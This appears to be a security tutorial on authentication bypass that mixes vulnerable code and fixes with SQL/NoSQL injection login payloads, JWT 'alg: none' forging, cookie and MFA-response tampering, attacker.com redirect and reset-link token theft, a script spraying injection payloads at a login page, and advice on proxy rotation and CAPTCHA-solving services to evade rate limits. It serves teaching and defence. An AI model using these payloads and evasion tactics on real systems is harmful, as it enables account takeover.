Complete guide to understanding, exploiting, and preventing authentication bypass attacks
Authentication bypass is a security vulnerability that allows attackers to access systems, accounts, or resources without providing valid credentials. This critical flaw undermines the entire security foundation of an application by circumventing the mechanisms designed to verify user identity.
Authentication bypass is a fundamental security failure that:
The most common authentication bypass technique:
# VULNERABLE CODE
username = request.form['username']
password = request.form['password']
query = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'"
user = db.execute(query)
if user:
login(user) # User authenticated!
Attack payload:
# Username: admin' --
# Password: (anything)
# Resulting query:
SELECT * FROM users WHERE username='admin' --' AND password='anything'
# The -- comments out the password check!
# ✅ Logged in as admin without knowing the password
// VULNERABLE: Password check can be bypassed
function authenticate(username, password) {
let user = database.getUser(username);
if (user.password === hash(password)) {
return true;
}
// BUG: Returns undefined instead of false
// JavaScript treats undefined as falsy, but...
}
// Later in code:
if (authenticate(username, password) !== false) {
// This passes when authenticate() returns undefined!
loginUser(username);
}
JSON Web Tokens can be manipulated if not properly validated:
// Original token header:
{
"alg": "HS256",
"typ": "JWT"
}
// Attack: Change to "none" algorithm
{
"alg": "none",
"typ": "JWT"
}
// Token payload:
{
"user": "attacker",
"role": "admin", // Escalated privilege
"exp": 9999999999
}
// Server accepts token if it doesn't verify "alg": "none"
// Insecure cookie format
Cookie: user=normaluser; admin=false
// Attack: Modify cookie values
Cookie: user=normaluser; admin=true
// Or modify user IDs
Cookie: userId=123
// Change to:
Cookie: userId=1 // Often the admin account
# VULNERABLE: Session ID not regenerated after login
def login(username, password):
if verify_credentials(username, password):
session['authenticated'] = True # Same session ID!
session['username'] = username
# Attack:
# 1. Attacker gets session ID: SESS123
# 2. Victim logs in with session SESS123 (sent by attacker)
# 3. Attacker uses SESS123 - now authenticated as victim!
Systems shipped with default usernames and passwords:
# Common defaults
admin:admin
administrator:password
root:root
admin:12345
user:user
// Step 1: Legitimate OAuth flow
GET /oauth/authorize?client_id=app&redirect_uri=https://app.com/callback
// Attack: Modify redirect_uri
GET /oauth/authorize?client_id=app&redirect_uri=https://attacker.com/steal
// Or: Token leakage via referer header
Referer: https://app.com/callback?code=SECRET_CODE
user@company.com
admin@company.com
// Server response after password check
HTTP/1.1 200 OK
{
"password_valid": true,
"mfa_required": true,
"mfa_verified": false
}
// Attack: Intercept and modify
{
"password_valid": true,
"mfa_required": false,
"mfa_verified": true // Changed!
}
# Brute force 6-digit MFA code
for code in range(000000, 999999):
# Use different IPs, sessions, or timing
# to bypass rate limits
attempt_mfa(code)
# If backup codes are predictable:
# Sequential: BACKUP-0001, BACKUP-0002
# Time-based: BACKUP-20240101
# User ID-based: BACKUP-USER123
# WEAK: Predictable reset tokens
reset_token = str(user_id) + str(timestamp)
# Attack: Easy to guess!
# WEAK: Short random tokens
reset_token = random.randint(100000, 999999) # Only 1 million possibilities
POST /reset-password HTTP/1.1
Host: attacker.com
Content-Type: application/x-www-form-urlencoded
email=victim@company.com
// Email sent:
"Click here to reset: http://attacker.com/reset?token=SECRET"
// Victim clicks, token sent to attacker!
# Using multiple IPs to bypass rate limiting
for ip in ip_pool:
for password in password_list:
attack_from_ip(ip, username, password)
rotate_ip()
# Use credentials from data breaches
# Try username:password combinations from:
# - LinkedIn breach
# - Yahoo breach
# - Collection #1-5
# Many users reuse passwords across sites!
# VULNERABLE: Early return reveals information
def verify_password(input_password, stored_hash):
for i, char in enumerate(input_password):
if char != stored_password[i]:
return False # Fails faster for earlier mismatches
return True
# Attack: Measure response times to determine correct characters
# Use proxy pools, VPNs, TOR
# Distribute requests across many IPs
# Cloud provider IP pools
# Residential proxy networks
# Slow down requests to stay under radar
# Random delays between attempts
# Mimic human behavior patterns
time.sleep(random.uniform(5, 30))
# Captcha solving services
# - 2Captcha
# - Anti-Captcha
# - DeathByCaptcha
# Automated OCR for simple captchas
# Audio captcha to text conversion
# Browser automation with human assistance
// Spoof trusted IP addresses
X-Forwarded-For: 127.0.0.1
X-Real-IP: 10.0.0.1
X-Originating-IP: 192.168.1.1
X-Remote-IP: 172.16.0.1
X-Client-IP: 127.0.0.1
✅ SECURE CODE
# Python with parameterized query
query = "SELECT * FROM users WHERE username=? AND password=?"
cursor.execute(query, (username, hash_password(password)))
✅ Use bcrypt, scrypt, or Argon2
import bcrypt
# Hashing
hashed = bcrypt.hashpw(password.encode('utf-8'), bcrypt.gensalt())
# Verification
if bcrypt.checkpw(password.encode('utf-8'), stored_hash):
authenticate_user()
// Node.js with bcrypt
const bcrypt = require('bcrypt');
const saltRounds = 12;
// Hash
const hash = await bcrypt.hash(password, saltRounds);
// Verify
const match = await bcrypt.compare(password, hash);
✅ SECURE MFA Implementation
import pyotp
# Generate TOTP secret
secret = pyotp.random_base32()
# Verify TOTP code
totp = pyotp.TOTP(secret)
if totp.verify(user_code, valid_window=1):
grant_access()
else:
deny_access()
import secrets
# Generate cryptographically secure backup codes
def generate_backup_codes(count=10):
return [secrets.token_urlsafe(16) for _ in range(count)]
✅ Regenerate session ID after login
def login(username, password):
if verify_credentials(username, password):
old_session_id = session.id
session.regenerate() # New session ID!
session['authenticated'] = True
session['username'] = username
invalidate_session(old_session_id)
SESSION_COOKIE_SECURE = True # HTTPS only
SESSION_COOKIE_HTTPONLY = True # No JavaScript access
SESSION_COOKIE_SAMESITE = 'Strict' # CSRF protection
SESSION_TIMEOUT = 1800 # 30 minutes
✅ Secure JWT implementation
const jwt = require('jsonwebtoken');
// Sign with strong algorithm
const token = jwt.sign(
{ userId: user.id, role: user.role },
process.env.JWT_SECRET,
{
algorithm: 'RS256', // Use RSA, not HS256
expiresIn: '15m',
issuer: 'myapp.com',
audience: 'myapp.com'
}
);
// Verify properly
jwt.verify(token, publicKey, {
algorithms: ['RS256'], // Explicitly set!
issuer: 'myapp.com',
audience: 'myapp.com'
});
✅ Implement progressive delays
from datetime import datetime, timedelta
def check_login_attempts(username):
attempts = get_failed_attempts(username)
if attempts >= 5:
# Lock account for 15 minutes
lock_until = datetime.now() + timedelta(minutes=15)
lock_account(username, lock_until)
raise AccountLocked()
if attempts >= 3:
# Add CAPTCHA requirement
require_captcha(username)
# Progressive delay
delay = min(2 ** attempts, 30) # Max 30 seconds
time.sleep(delay)
✅ Secure password reset
import secrets
from datetime import datetime, timedelta
def generate_reset_token(user_id):
# Cryptographically random token
token = secrets.token_urlsafe(32)
# Store with expiration
expires = datetime.now() + timedelta(minutes=15)
store_token(user_id, token, expires)
return token
def verify_reset_token(token):
record = get_token_record(token)
if not record:
raise InvalidToken()
if datetime.now() > record.expires:
raise ExpiredToken()
# Single use - invalidate immediately
invalidate_token(token)
return record.user_id
✅ Force password change on first login
def first_login_check(user):
if user.password_is_default:
require_password_change()
if user.last_password_change is None:
require_password_change()
# Prevent default passwords
default_passwords = ['admin', 'password', '12345', ...]
if new_password in default_passwords:
raise WeakPasswordError()
✅ Validate redirect URIs
ALLOWED_REDIRECTS = [
'https://app.example.com/callback',
'https://app.example.com/auth/callback'
]
def validate_redirect(redirect_uri):
if redirect_uri not in ALLOWED_REDIRECTS:
raise InvalidRedirectError()
# Use state parameter
state = secrets.token_urlsafe(32)
store_state(user_id, state)
# Verify state on callback
if callback_state != stored_state:
raise CSRFAttackDetected()
# Test inputs:
username: admin' --
username: admin' OR '1'='1
username: admin'/*
username: ' OR '1'='1' --
password: ' OR '1'='1
# Try edge cases:
- Empty username/password
- Null values
- Very long strings
- Special characters
- Unicode characters
- Array/object injection
# JWT testing
# 1. Decode token
echo "TOKEN" | base64 -d
# 2. Try changing algorithm to "none"
# 3. Modify payload (role, expiration)
# 4. Remove signature
# 5. Try weak keys (password, secret, key)
# Browser console:
document.cookie = "admin=true; path=/";
document.cookie = "role=administrator; path=/";
document.cookie = "userId=1; path=/";
# Active scan for auth issues
zap-cli active-scan -r https://target.com/login
# Forced browse
zap-cli spider https://target.com
# Authentication scanner
zap-cli auth-scan --user test --pass test
# Python authentication testing
import requests
payloads = [
"admin' --",
"admin' OR '1'='1",
"' OR '1'='1' --"
]
for payload in payloads:
response = requests.post(
'https://target.com/login',
data={'username': payload, 'password': 'test'}
)
if "Welcome" in response.text or response.status_code == 302:
print(f"[!] Bypass found: {payload}")
# Changed algorithm from RS256 to HS256
# Server used public key as HMAC secret
# $10,000 - $20,000 bounties
# Used open redirect to bypass whitelist
# redirect_uri=https://trusted.com/redirect?url=attacker.com
# $5,000 - $15,000 bounties
# Modified server response
# Changed "2fa_required": true to false
# $10,000 bounty
-- SQL injection auth bypass
admin' --
admin' OR '1'='1
' OR '1'='1' --
') OR ('1'='1
admin'/*
' OR 'a'='a
-- NoSQL injection
{"username": {"$gt": ""}, "password": {"$gt": ""}}
{"username": "admin", "password": {"$ne": null}}
// Change algorithm to none
{"alg": "none", "typ": "JWT"}
// Use weak key
HS256 with key: "secret", "password", "key"
// Modify claims
{"user": "admin", "role": "administrator", "exp": 9999999999}